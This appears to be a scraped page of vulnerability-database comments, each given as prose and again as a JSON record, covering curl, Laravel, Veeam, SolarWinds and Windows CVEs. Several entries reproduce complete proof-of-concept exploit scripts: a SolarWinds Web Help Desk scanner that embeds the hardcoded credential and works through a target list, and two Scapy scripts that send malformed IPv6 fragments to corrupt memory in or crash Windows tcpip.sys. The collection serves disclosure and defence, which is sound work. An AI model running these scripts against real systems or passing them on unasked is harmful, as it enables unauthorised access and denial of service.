"2024-12-15T06:47:50.105587+00:00", related_vulnerabilities: [ "CVE-2024-9707", "CVE-2024-50498", ], meta: [ { tags: [ "vulnerability:exploitability=documented", ], }, ], }
cve-2024-11972
netrc and redirect credential leak on cve-2024-11053
3 months ago by Cédric Bonhomme
When asked to both use a .netrc file for credentials and to follow HTTP redirects, curl could leak the password used for the first host to the followed-to host under certain circumstances.
This flaw only manifests itself if the netrc file has an entry that matches the redirect target hostname but the entry either omits just the password or omits both login and password.
Info
JSON"A curl transfer with a.tld that redirects to b.tld that uses a .netrc like below (with a match, but no password specified for the second host), would make curl pass on alicespassword as password even in the second transfer to the separate host b.tld.
machine a.tld login alice password alicespassword default login bob
This bug is not considered a C mistake. It is not likely to have been avoided had we not been using C.
This flaw also affects the curl command line tool.
The Common Vulnerabilities and Exposures (CVE) project has assigned the name CVE-2024-11053 to this issue.
CWE-200: Exposure of Sensitive Information to an Unauthorized Actor
Severity: Low"
{ uuid: "36846c73-0c66-4bdf-b5f9-3a3b65823062", vulnerability_lookup_origin: "1a89b78e-f703-45f3-bb86-59eb712668bd", title: "netrc and redirect credential leak", description: "When asked to both use a .netrc file for credentials and to follow HTTP redirects, curl could leak the password used for the first host to the followed-to host under certain circumstances.\n\nThis flaw only manifests itself if the netrc file has an entry that matches the redirect target hostname but the entry either omits just the password or omits both login and password.\n\n### Info\n\n> \"A curl transfer with a.tld that redirects to b.tld that uses a .netrc like below (with a match, but no password specified for the second host), would make curl pass on alicespassword as password even in the second transfer to the separate host b.tld.\n> \n> machine a.tld\n> login alice\n> password alicespassword\n> default\n> login bob\n> \n> This bug is not considered a C mistake. It is not likely to have been avoided had we not been using C.\n> \n> This flaw also affects the curl command line tool.\n> \n> The Common Vulnerabilities and Exposures (CVE) project has assigned the name CVE-2024-11053 to this issue.\n> \n> CWE-200: Exposure of Sensitive Information to an Unauthorized Actor\n> \n> Severity: Low\"\n\n", description_format: "markdown", vulnerability: "CVE-2024-11053", creation_timestamp: "2024-12-11T09:52:06.061616+00:00", timestamp: "2024-12-11T09:52:06.061616+00:00", related_vulnerabilities: [ "CVE-2024-11053", ], meta: [ { tags: [ "vulnerability:exploitability=documented", ], }, { ref: [ "https://mastodon.social/@bagder/113632978982393745", "https://curl.se/docs/CVE-2024-11053.html", ], }, ], }
cve-2024-11053
Critical Laravel Flaw (CVE-2024-52301) Exposes Millions of Web Applications to Attack on cve-2024-52301
4 months ago by Alexandre Dulaunoy
- Kritische Sicherheitslücke in Laravel Framework - Updates verfügbar
- Critical Laravel Flaw (CVE-2024-52301) Exposes Millions of Web Applications to Attack
{ uuid: "cb0ad24f-1243-4f18-9607-95a5717fb451", vulnerability_lookup_origin: "1a89b78e-f703-45f3-bb86-59eb712668bd", title: "Critical Laravel Flaw (CVE-2024-52301) Exposes Millions of Web Applications to Attack", description: "- [Kritische Sicherheitslücke in Laravel Framework - Updates verfügbar ](https://www.cert.at/de/warnungen/2024/11/kritische-sicherheitslucke-in-laravel-framework-updates-verfugbar)\n- [Critical Laravel Flaw (CVE-2024-52301) Exposes Millions of Web Applications to Attack](https://securityonline.info/critical-laravel-flaw-cve-2024-52301-exposes-millions-of-web-applications-to-attack/)", description_format: "markdown", vulnerability: "CVE-2024-52301", creation_timestamp: "2024-11-18T07:05:03.432836+00:00", timestamp: "2024-11-18T07:05:28.583042+00:00", related_vulnerabilities: [ "CVE-2024-52301", ], meta: [ { tags: [ "vulnerability:exploitability=documented", ], }, ], }
cve-2024-52301
Rapid7 analysis of CVE-2024-47575 on cve-2024-47575
4 months ago by Alexandre Dulaunoy
JSON{ uuid: "9579afd1-e7a6-4754-8574-5acaed28e11d", vulnerability_lookup_origin: "1a89b78e-f703-45f3-bb86-59eb712668bd", title: "Rapid7 analysis of CVE-2024-47575", description: "- [Rapid7 Analysis of CVE-2024-47575](https://attackerkb.com/topics/OFBGprmpIE/cve-2024-47575/rapid7-analysis#rapid7-analysis)", description_format: "markdown", vulnerability: "CVE-2024-47575", creation_timestamp: "2024-11-14T08:13:33.806989+00:00", timestamp: "2024-11-14T08:13:33.806989+00:00", related_vulnerabilities: [ "CVE-2024-47575", ], meta: [ { tags: [ "vulnerability:exploitability=documented", ], }, ], }
cve-2024-47575
Proof of concept for CVE-2024-37383 on cve-2024-37383
4 months ago by Alexandre Dulaunoy
JSON{ uuid: "59dce60f-7719-44c7-9f8b-5ef37763c997", vulnerability_lookup_origin: "1a89b78e-f703-45f3-bb86-59eb712668bd", title: "Proof of concept for CVE-2024-37383", description: "- [https://github.com/bartfroklage/CVE-2024-37383-POC](https://github.com/bartfroklage/CVE-2024-37383-POC)", description_format: "markdown", vulnerability: "CVE-2024-37383", creation_timestamp: "2024-11-07T17:02:33.331102+00:00", timestamp: "2024-11-07T17:02:33.331102+00:00", related_vulnerabilities: [ "CVE-2024-37383", ], meta: [ { tags: [ "vulnerability:exploitability=documented", "vulnerability:information=PoC", ], }, ], }
cve-2024-37383
Proof-of-Concept on cve-2024-28987
5 months ago by Cédric Bonhomme
A PoC is available here: https://github.com/fa-rrel/CVE-2024-28987-POC
import argparse
import base64
import requests
# Created by Ghost sec.
RED = "\033[91m"
GREEN = "\033[92m"
BOLD = "\033[1m"
RESET = "\033[0m"
ascii_art = f"""
{BOLD}{RED}
______ __ __
/ \ / | / |
/$$$$$$ |$$ |____ ______ _______ _$$ |_ _______ ______ _______
$$ | _$$/ $$ \ / \ / |/ $$ | / | / \ / |
$$ |/ |$$$$$$$ |/$$$$$$ |/$$$$$$$/ $$$$$$/ /$$$$$$$/ /$$$$$$ |/$$$$$$$/
$$ |$$$$ |$$ | $$ |$$ | $$ |$$ \ $$ | __ $$ \ $$ $$ |$$ |
$$ \__$$ |$$ | $$ |$$ \__$$ | $$$$$$ | $$ |/ | $$$$$$ |$$$$$$$$/ $$ \_____
$$ $$/ $$ | $$ |$$ $$/ / $$/ $$ $$/ / $$/ $$ |$$ |
$$$$$$/ $$/ $$/ $$$$$$/ $$$$$$$/ $$$$/ $$$$$$$/ $$$$$$$/ $$$$$$$/
PROOF OF CONCEPT CVE-2024-28987 || SCANNING VULNERABILITY POC || github.com/fa-rrel
{RESET}
"""
print(ascii_art)
def get_basic_auth_header(username, password):
credentials = f"{username}:{password}"
base64_credentials = base64.b64encode(credentials.encode()).decode('utf-8')
return {'Authorization': f'Basic {base64_credentials}'}
def scan_target(hostname):
# Ensure hostname does not have trailing slashes
hostname = hostname.strip().rstrip('/')
url = f"http://{hostname}/helpdesk/WebObjects/Helpdesk.woa/ra/OrionTickets/"
# Print formatted URL for debugging
print(f"{BOLD}[*] Scanning URL: {url}{RESET}")
headers = get_basic_auth_header("helpdeskIntegrationUser", "dev-C4F8025E7")
headers['Content-Type'] = 'application/x-www-form-urlencoded'
try:
response = requests.get(url, headers=headers, timeout=10)
if response.status_code == 200 and 'displayClient' in response.text and 'shortDetail' in response.text:
print(f"{BOLD}{GREEN}[+] Vulnerability confirmed on {hostname} with username: 'helpdeskIntegrationUser' and password: 'dev-C4F8025E7'{RESET}")
else:
print(f"{BOLD}{RED}[-] No vulnerability detected on {hostname}{RESET}")
except requests.RequestException:
# Modify this line to just print "Not vulnerable" instead of the error details
print(f"{BOLD}{RED}[-] Not vulnerable on {hostname}{RESET}")
def scan_targets_from_file(file_path):
try:
with open(file_path, 'r') as file:
targets = file.readlines()
if not targets:
print(f"{BOLD}{RED}[!] No targets found in file{RESET}")
return
for target in targets:
target = target.strip()
if target:
scan_target(target)
except FileNotFoundError:
print(f"{BOLD}{RED}[!] File {file_path} not found{RESET}")
except Exception as e:
print(f"{BOLD}{RED}[!] An error occurred: {e}{RESET}")
def main():
parser = argparse.ArgumentParser(description="CVE-2024-28987 Scanner - SolarWinds Web Help Desk Hardcoded Credential")
parser.add_argument('-f', '--file', type=str, required=True, help='File containing list of targets')
args = parser.parse_args()
scan_targets_from_file(args.file)
if __name__ == "__main__":
main()
JSON{ uuid: "20187f45-138c-48ba-b11f-52dc3ddfd69e", vulnerability_lookup_origin: "1a89b78e-f703-45f3-bb86-59eb712668bd", title: "Proof-of-Concept", description: "A PoC is available here: https://github.com/fa-rrel/CVE-2024-28987-POC\n\n\n```python\nimport argparse\nimport base64\nimport requests\n\n# Created by Ghost sec.\nRED = \"\\033[91m\"\nGREEN = \"\\033[92m\"\nBOLD = \"\\033[1m\"\nRESET = \"\\033[0m\"\n\nascii_art = f\"\"\"\n{BOLD}{RED}\n ______ __ __ \n / \\ / | / | \n/$$$$$$ |$$ |____ ______ _______ _$$ |_ _______ ______ _______ \n$$ | _$$/ $$ \\ / \\ / |/ $$ | / | / \\ / |\n$$ |/ |$$$$$$$ |/$$$$$$ |/$$$$$$$/ $$$$$$/ /$$$$$$$/ /$$$$$$ |/$$$$$$$/ \n$$ |$$$$ |$$ | $$ |$$ | $$ |$$ \\ $$ | __ $$ \\ $$ $$ |$$ | \n$$ \\__$$ |$$ | $$ |$$ \\__$$ | $$$$$$ | $$ |/ | $$$$$$ |$$$$$$$$/ $$ \\_____ \n$$ $$/ $$ | $$ |$$ $$/ / $$/ $$ $$/ / $$/ $$ |$$ |\n $$$$$$/ $$/ $$/ $$$$$$/ $$$$$$$/ $$$$/ $$$$$$$/ $$$$$$$/ $$$$$$$/ \n PROOF OF CONCEPT CVE-2024-28987 || SCANNING VULNERABILITY POC || github.com/fa-rrel\n{RESET}\n\"\"\"\n\nprint(ascii_art)\n\ndef get_basic_auth_header(username, password):\n credentials = f\"{username}:{password}\"\n base64_credentials = base64.b64encode(credentials.encode()).decode('utf-8')\n return {'Authorization': f'Basic {base64_credentials}'}\n\ndef scan_target(hostname):\n # Ensure hostname does not have trailing slashes\n hostname = hostname.strip().rstrip('/')\n url = f\"http://{hostname}/helpdesk/WebObjects/Helpdesk.woa/ra/OrionTickets/\"\n \n # Print formatted URL for debugging\n print(f\"{BOLD}[*] Scanning URL: {url}{RESET}\")\n \n headers = get_basic_auth_header(\"helpdeskIntegrationUser\", \"dev-C4F8025E7\")\n headers['Content-Type'] = 'application/x-www-form-urlencoded'\n \n try:\n response = requests.get(url, headers=headers, timeout=10)\n if response.status_code == 200 and 'displayClient' in response.text and 'shortDetail' in response.text:\n print(f\"{BOLD}{GREEN}[+] Vulnerability confirmed on {hostname} with username: 'helpdeskIntegrationUser' and password: 'dev-C4F8025E7'{RESET}\")\n else:\n print(f\"{BOLD}{RED}[-] No vulnerability detected on {hostname}{RESET}\")\n except requests.RequestException:\n # Modify this line to just print \"Not vulnerable\" instead of the error details\n print(f\"{BOLD}{RED}[-] Not vulnerable on {hostname}{RESET}\")\n\ndef scan_targets_from_file(file_path):\n try:\n with open(file_path, 'r') as file:\n targets = file.readlines()\n if not targets:\n print(f\"{BOLD}{RED}[!] No targets found in file{RESET}\")\n return\n for target in targets:\n target = target.strip()\n if target:\n scan_target(target)\n except FileNotFoundError:\n print(f\"{BOLD}{RED}[!] File {file_path} not found{RESET}\")\n except Exception as e:\n print(f\"{BOLD}{RED}[!] An error occurred: {e}{RESET}\")\n\ndef main():\n parser = argparse.ArgumentParser(description=\"CVE-2024-28987 Scanner - SolarWinds Web Help Desk Hardcoded Credential\")\n parser.add_argument('-f', '--file', type=str, required=True, help='File containing list of targets')\n\n args = parser.parse_args()\n \n scan_targets_from_file(args.file)\n\nif __name__ == \"__main__\":\n main()\n```", description_format: "markdown", vulnerability: "CVE-2024-28987", creation_timestamp: "2024-10-18T22:23:39.387177+00:00", timestamp: "2024-10-18T22:23:49.363557+00:00", related_vulnerabilities: [ "CVE-2024-28987", ], meta: [ { tags: [ "vulnerability:exploitability=documented", "vulnerability:information=PoC", ], }, ], }
cve-2024-28987
More details about the Veeam vulnerability on cve-2024-42024
6 months ago by Alexandre Dulaunoy
- https://censys.com/cve-2024-40711/
- https://labs.watchtowr.com/veeam-backup-response-rce-with-auth-but-mostly-without-auth-cve-2024-40711-2/
Well, that was a complex vulnerability, requiring a lot of code-reading! We’ve successfully shown how multiple bugs can be chained together to gain RCE in a variety of versions of Veeam Backup & Replication.
We’re a little confused by Veeam’s advisory, however, which seems to be contradictory. As you may recall from the very start of the blogpost, Veeam’s advice was that versions up to and including 12.1.2.172 are vulnerable. While the title of the bug states that “A vulnerability allowing unauthenticated remote code execution (RCE)“, suggesting a world-ending CVSS 10 bug, they then proceed to label the bug as a less-serious CVSS 9.8, requiring user authentication before exploitation is possible. This is confusing, because all versions beneath 12.1.2.172 don’t require authentication to exploit, and only a change made in 12.1.2.172 made it so authentication was required (see above analysis).
Perhaps Veeam simply made an error in their advisory, as we (and Code White) clearly demonstrate that authentication is not required. Hopefully, a pre-emptive change wasn’t made in 12.1.2.172 to downgrade the eventual severity of this vulnerability.
Regardless of CVSS, the actual situation, as you can see above, is somewhat more nuanced than ‘RCE before 12.1.2.172':
Version Status
12.2.0.334 Fully patched. Not affected by the vulnerabilities in this blogpost.
12.1.2.172 Affected, but exploitation requires authentication. Low privilege users are able to execute arbitrary code.
12.1.1.56 and earlier Vulnerable to unauthenticated RCE.
Speaking of exploitation, we’re breaking with tradition on this bug by not releasing a full exploit chain (sorry, folks!). We’re a little worried by just how valuable this bug is to malware operators, and so are (on this occasion only) refraining from dropping a working exploit. The most we’re going to drop is this tantalizing video of exploitation, which will have to tide you over until our next post:
JSON{ uuid: "4e36fb63-ef06-4e9d-8f57-7b76aebf7bde", vulnerability_lookup_origin: "1a89b78e-f703-45f3-bb86-59eb712668bd", title: "More details about the Veeam vulnerability", description: "- https://censys.com/cve-2024-40711/\n- https://labs.watchtowr.com/veeam-backup-response-rce-with-auth-but-mostly-without-auth-cve-2024-40711-2/\n\n~~~\nWell, that was a complex vulnerability, requiring a lot of code-reading! We’ve successfully shown how multiple bugs can be chained together to gain RCE in a variety of versions of Veeam Backup & Replication.\n\nWe’re a little confused by Veeam’s advisory, however, which seems to be contradictory. As you may recall from the very start of the blogpost, Veeam’s advice was that versions up to and including 12.1.2.172 are vulnerable. While the title of the bug states that “A vulnerability allowing unauthenticated remote code execution (RCE)“, suggesting a world-ending CVSS 10 bug, they then proceed to label the bug as a less-serious CVSS 9.8, requiring user authentication before exploitation is possible. This is confusing, because all versions beneath 12.1.2.172 don’t require authentication to exploit, and only a change made in 12.1.2.172 made it so authentication was required (see above analysis).\n\nPerhaps Veeam simply made an error in their advisory, as we (and Code White) clearly demonstrate that authentication is not required. Hopefully, a pre-emptive change wasn’t made in 12.1.2.172 to downgrade the eventual severity of this vulnerability.\n\nRegardless of CVSS, the actual situation, as you can see above, is somewhat more nuanced than ‘RCE before 12.1.2.172':\nVersion \tStatus\n12.2.0.334 \tFully patched. Not affected by the vulnerabilities in this blogpost.\n12.1.2.172 \tAffected, but exploitation requires authentication. Low privilege users are able to execute arbitrary code.\n12.1.1.56 and earlier \tVulnerable to unauthenticated RCE.\n\nSpeaking of exploitation, we’re breaking with tradition on this bug by not releasing a full exploit chain (sorry, folks!). We’re a little worried by just how valuable this bug is to malware operators, and so are (on this occasion only) refraining from dropping a working exploit. The most we’re going to drop is this tantalizing video of exploitation, which will have to tide you over until our next post:\n~~~", description_format: "markdown", vulnerability: "cve-2024-42024", creation_timestamp: "2024-09-09T20:48:43.060182+00:00", timestamp: "2024-09-10T06:14:51.710700+00:00", related_vulnerabilities: [], meta: [ { tags: [ "vulnerability:exploitability=documented", ], }, ], }
cve-2024-42024
Proof of Concept for CVE-2024-38063 - Remote Code Execution Vulnerability in tcpip.sys on cve-2024-38063
7 months ago by Cédric Bonhomme
Proof of Concept for CVE-2024-38063, a RCE in tcpip.sys patched on August 13th 2024.
An analysis of the vulnerability published on August 27, 2024 by Marcus Hutchins.
PoC published on GitHub on August 24, 2024.
Implementation
Implementation details are available on GitHub.
from scapy.all import *
iface=''
ip_addr=''
mac_addr=''
num_tries=20
num_batches=20
def get_packets_with_mac(i):
frag_id = 0xdebac1e + i
first = Ether(dst=mac_addr) / IPv6(fl=1, hlim=64+i, dst=ip_addr) / IPv6ExtHdrDestOpt(options=[PadN(otype=0x81, optdata='a'*3)])
second = Ether(dst=mac_addr) / IPv6(fl=1, hlim=64+i, dst=ip_addr) / IPv6ExtHdrFragment(id=frag_id, m = 1, offset = 0) / 'aaaaaaaa'
third = Ether(dst=mac_addr) / IPv6(fl=1, hlim=64+i, dst=ip_addr) / IPv6ExtHdrFragment(id=frag_id, m = 0, offset = 1)
return [first, second, third]
def get_packets(i):
if mac_addr != '':
return get_packets_with_mac(i)
frag_id = 0xdebac1e + i
first = IPv6(fl=1, hlim=64+i, dst=ip_addr) / IPv6ExtHdrDestOpt(options=[PadN(otype=0x81, optdata='a'*3)])
second = IPv6(fl=1, hlim=64+i, dst=ip_addr) / IPv6ExtHdrFragment(id=frag_id, m = 1, offset = 0) / 'aaaaaaaa'
third = IPv6(fl=1, hlim=64+i, dst=ip_addr) / IPv6ExtHdrFragment(id=frag_id, m = 0, offset = 1)
return [first, second, third]
final_ps = []
for _ in range(num_batches):
for i in range(num_tries):
final_ps += get_packets(i) + get_packets(i)
print("Sending packets")
if mac_addr != '':
sendp(final_ps, iface)
else:
send(final_ps, iface)
for i in range(60):
print(f"Memory corruption will be triggered in {60-i} seconds", end='\r')
time.sleep(1)
print("")
JSON{ uuid: "4be2fca3-59f3-437e-a4db-7c0b2f8acb81", vulnerability_lookup_origin: "1a89b78e-f703-45f3-bb86-59eb712668bd", title: "Proof of Concept for CVE-2024-38063 - Remote Code Execution Vulnerability in tcpip.sys", description: "[Proof of Concept for CVE-2024-38063](https://github.com/ynwarcs/CVE-2024-38063), a RCE in tcpip.sys patched on August 13th 2024.\n\nAn [analysis of the vulnerability](https://malwaretech.com/2024/08/exploiting-CVE-2024-38063.html) published on August 27, 2024 by Marcus Hutchins.\n\nPoC published on GitHub on August 24, 2024.\n\n### Implementation\n\nImplementation details are available on [GitHub](https://github.com/ynwarcs/CVE-2024-38063/blob/main/script/cve-2024-38063.py).\n\n```python\nfrom scapy.all import *\n\niface=''\nip_addr=''\nmac_addr=''\nnum_tries=20\nnum_batches=20\n\ndef get_packets_with_mac(i):\n frag_id = 0xdebac1e + i\n first = Ether(dst=mac_addr) / IPv6(fl=1, hlim=64+i, dst=ip_addr) / IPv6ExtHdrDestOpt(options=[PadN(otype=0x81, optdata='a'*3)])\n second = Ether(dst=mac_addr) / IPv6(fl=1, hlim=64+i, dst=ip_addr) / IPv6ExtHdrFragment(id=frag_id, m = 1, offset = 0) / 'aaaaaaaa'\n third = Ether(dst=mac_addr) / IPv6(fl=1, hlim=64+i, dst=ip_addr) / IPv6ExtHdrFragment(id=frag_id, m = 0, offset = 1)\n return [first, second, third]\n\ndef get_packets(i):\n if mac_addr != '':\n return get_packets_with_mac(i)\n frag_id = 0xdebac1e + i\n first = IPv6(fl=1, hlim=64+i, dst=ip_addr) / IPv6ExtHdrDestOpt(options=[PadN(otype=0x81, optdata='a'*3)])\n second = IPv6(fl=1, hlim=64+i, dst=ip_addr) / IPv6ExtHdrFragment(id=frag_id, m = 1, offset = 0) / 'aaaaaaaa'\n third = IPv6(fl=1, hlim=64+i, dst=ip_addr) / IPv6ExtHdrFragment(id=frag_id, m = 0, offset = 1)\n return [first, second, third]\n\nfinal_ps = []\nfor _ in range(num_batches):\n for i in range(num_tries):\n final_ps += get_packets(i) + get_packets(i)\n\nprint(\"Sending packets\")\nif mac_addr != '':\n sendp(final_ps, iface)\nelse:\n send(final_ps, iface)\n\nfor i in range(60):\n print(f\"Memory corruption will be triggered in {60-i} seconds\", end='\\r')\n time.sleep(1)\nprint(\"\")\n```", description_format: "markdown", vulnerability: "CVE-2024-38063", creation_timestamp: "2024-08-28T08:55:21.234923+00:00", timestamp: "2024-08-30T12:36:21.633241+00:00", related_vulnerabilities: [], meta: [ { tags: [ "vulnerability:exploitability=documented", "vulnerability:information=PoC", ], }, ], }
cve-2024-38063
Analysis of a Windows IPv6 Fragmentation Vulnerability: CVE-2021-24086 on cve-2021-24086
7 months ago by Cédric Bonhomme
Analysis of a denial of service vulnerability affecting the IPv6 stack of Windows.
This issue, whose root cause can be found in the mishandling of IPv6 fragments, was patched by Microsoft in their February 2021 security bulletin.
Proof of Concept
```python import sys import random
from scapy.all import *
FRAGMENTSIZE = 0x400 LAYER4FRAG_OFFSET = 0x8
NEXTHEADERIPV6ROUTE = 43 NEXTHEADERIPV6FRAG = 44 NEXTHEADERIPV6_ICMP = 58
def get_layer4(): er = ICMPv6EchoRequest(data = "PoC for CVE-2021-24086") er.cksum = 0xa472
return raw(er)
def getinnerpacket(targetaddr): innerfragid = random.randint(0, 0xffffffff) print("**** innerfragid: 0x{:x}".format(innerfragid)) rawer = get_layer4()
# 0x1ffa Routing headers == 0xffd0 bytes
routes = raw(IPv6ExtHdrRouting(addresses=[], nh = NEXT_HEADER_IPV6_ROUTE)) * (0xffd0//8 - 1)
routes += raw(IPv6ExtHdrRouting(addresses=[], nh = NEXT_HEADER_IPV6_FRAG))
# First inner fragment header: offset=0, more=1
FH = IPv6ExtHdrFragment(offset = 0, m=1, id=inner_frag_id, nh = NEXT_HEADER_IPV6_ICMP)
return routes + raw(FH) + raw_er[:LAYER4_FRAG_OFFSET], inner_frag_id
def sendlastinnerfragment(targetaddr, innerfragid):
raw_er = get_layer4()
ip = IPv6(dst = target_addr)
# Second (and last) inner fragment header: offset=1, more=0
FH = IPv6ExtHdrFragment(offset = LAYER4_FRAG_OFFSET // 8, m=0, id=inner_frag_id, nh = NEXT_HEADER_IPV6_ICMP)
send(ip/FH/raw_er[LAYER4_FRAG_OFFSET:])
def trigger(target_addr):
inner_packet, inner_frag_id = get_inner_packet(target_addr)
ip = IPv6(dst = target_addr)
hopbyhop = IPv6ExtHdrHopByHop(nh = NEXT_HEADER_IPV6_FRAG)
outer_frag_id = random.randint(0, 0xffffffff)
fragmentable_part = []
for i in range(len(inner_packet) // FRAGMENT_SIZE):
fragmentable_part.append(inner_packet[i * FRAGMENT_SIZE: (i+1) * FRAGMENT_SIZE])
if len(inner_packet) % FRAGMENT_SIZE:
fragmentable_part.append(inner_packet[(len(fragmentable_part)) * FRAGMENT_SIZE:])
print("Preparing frags...")
frag_offset = 0
frags_to_send = []
is_first = True
for i in range(len(fragmentable_part)):
if i == len(fragmentable_part) - 1:
more = 0
else:
more = 1
FH = IPv6ExtHdrFragment(offset = frag_offset // 8, m=more, id=outer_frag_id, nh = NEXT_HEADER_IPV6_ROUTE)
blob = raw(FH/fragmentable_part[i])
frag_offset += FRAGMENT_SIZE
frags_to_send.append(ip/hopbyhop/blob)
print("Sending {} frags...".format(len(frags_to_send)))
for frag in frags_to_send:
send(frag)
print("Now sending the last inner fragment to trigger the bug...")
send_last_inner_fragment(target_addr, inner_frag_id)
if name == 'main':
if len(sys.argv) < 2:
print('Usage: cve-2021-24086.py
{ uuid: "e58954bd-8b24-451b-9853-c16202937347", vulnerability_lookup_origin: "1a89b78e-f703-45f3-bb86-59eb712668bd", title: "Analysis of a Windows IPv6 Fragmentation Vulnerability: CVE-2021-24086", description: "[Analysis of a denial of service vulnerability affecting the IPv6 stack of Windows](https://blog.quarkslab.com/analysis-of-a-windows-ipv6-fragmentation-vulnerability-cve-2021-24086.html).\n\nThis issue, whose root cause can be found in the mishandling of IPv6 fragments, was patched by Microsoft in their February 2021 security bulletin.\n\n### Proof of Concept\n\n```python\nimport sys\nimport random\n\nfrom scapy.all import *\n\nFRAGMENT_SIZE = 0x400\nLAYER4_FRAG_OFFSET = 0x8\n\nNEXT_HEADER_IPV6_ROUTE = 43\nNEXT_HEADER_IPV6_FRAG = 44\nNEXT_HEADER_IPV6_ICMP = 58\n\n\ndef get_layer4():\n er = ICMPv6EchoRequest(data = \"PoC for CVE-2021-24086\")\n er.cksum = 0xa472\n\n return raw(er)\n\n\ndef get_inner_packet(target_addr):\n inner_frag_id = random.randint(0, 0xffffffff)\n print(\"**** inner_frag_id: 0x{:x}\".format(inner_frag_id))\n raw_er = get_layer4()\n\n # 0x1ffa Routing headers == 0xffd0 bytes\n routes = raw(IPv6ExtHdrRouting(addresses=[], nh = NEXT_HEADER_IPV6_ROUTE)) * (0xffd0//8 - 1)\n routes += raw(IPv6ExtHdrRouting(addresses=[], nh = NEXT_HEADER_IPV6_FRAG))\n\n # First inner fragment header: offset=0, more=1\n FH = IPv6ExtHdrFragment(offset = 0, m=1, id=inner_frag_id, nh = NEXT_HEADER_IPV6_ICMP)\n\n return routes + raw(FH) + raw_er[:LAYER4_FRAG_OFFSET], inner_frag_id\n\n\ndef send_last_inner_fragment(target_addr, inner_frag_id):\n\n raw_er = get_layer4()\n\n ip = IPv6(dst = target_addr)\n # Second (and last) inner fragment header: offset=1, more=0\n FH = IPv6ExtHdrFragment(offset = LAYER4_FRAG_OFFSET // 8, m=0, id=inner_frag_id, nh = NEXT_HEADER_IPV6_ICMP)\n send(ip/FH/raw_er[LAYER4_FRAG_OFFSET:])\n\n\ndef trigger(target_addr):\n\n inner_packet, inner_frag_id = get_inner_packet(target_addr)\n\n ip = IPv6(dst = target_addr)\n hopbyhop = IPv6ExtHdrHopByHop(nh = NEXT_HEADER_IPV6_FRAG)\n\n outer_frag_id = random.randint(0, 0xffffffff)\n\n fragmentable_part = []\n for i in range(len(inner_packet) // FRAGMENT_SIZE):\n fragmentable_part.append(inner_packet[i * FRAGMENT_SIZE: (i+1) * FRAGMENT_SIZE])\n\n if len(inner_packet) % FRAGMENT_SIZE:\n fragmentable_part.append(inner_packet[(len(fragmentable_part)) * FRAGMENT_SIZE:])\n\n\n print(\"Preparing frags...\")\n frag_offset = 0\n frags_to_send = []\n is_first = True\n for i in range(len(fragmentable_part)):\n if i == len(fragmentable_part) - 1:\n more = 0\n else:\n more = 1\n\n FH = IPv6ExtHdrFragment(offset = frag_offset // 8, m=more, id=outer_frag_id, nh = NEXT_HEADER_IPV6_ROUTE)\n\n blob = raw(FH/fragmentable_part[i])\n frag_offset += FRAGMENT_SIZE\n\n frags_to_send.append(ip/hopbyhop/blob)\n\n\n print(\"Sending {} frags...\".format(len(frags_to_send)))\n for frag in frags_to_send:\n send(frag)\n\n\n print(\"Now sending the last inner fragment to trigger the bug...\")\n send_last_inner_fragment(target_addr, inner_frag_id)\n\n\nif __name__ == '__main__':\n if len(sys.argv) < 2:\n print('Usage: cve-2021-24086.py <IPv6 addr>')\n sys.exit(1)\n trigger(sys.argv[1])\n\t```", description_format: "markdown", vulnerability: "CVE-2021-24086", creation_timestamp: "2024-08-28T09:53:22.190586+00:00", timestamp: "2024-08-30T12:27:27.331911+00:00", related_vulnerabilities: [], meta: [ { tags: [ "vulnerability:exploitability=documented", "vulnerability:information=PoC", ], }, ], }
cve-2021-24086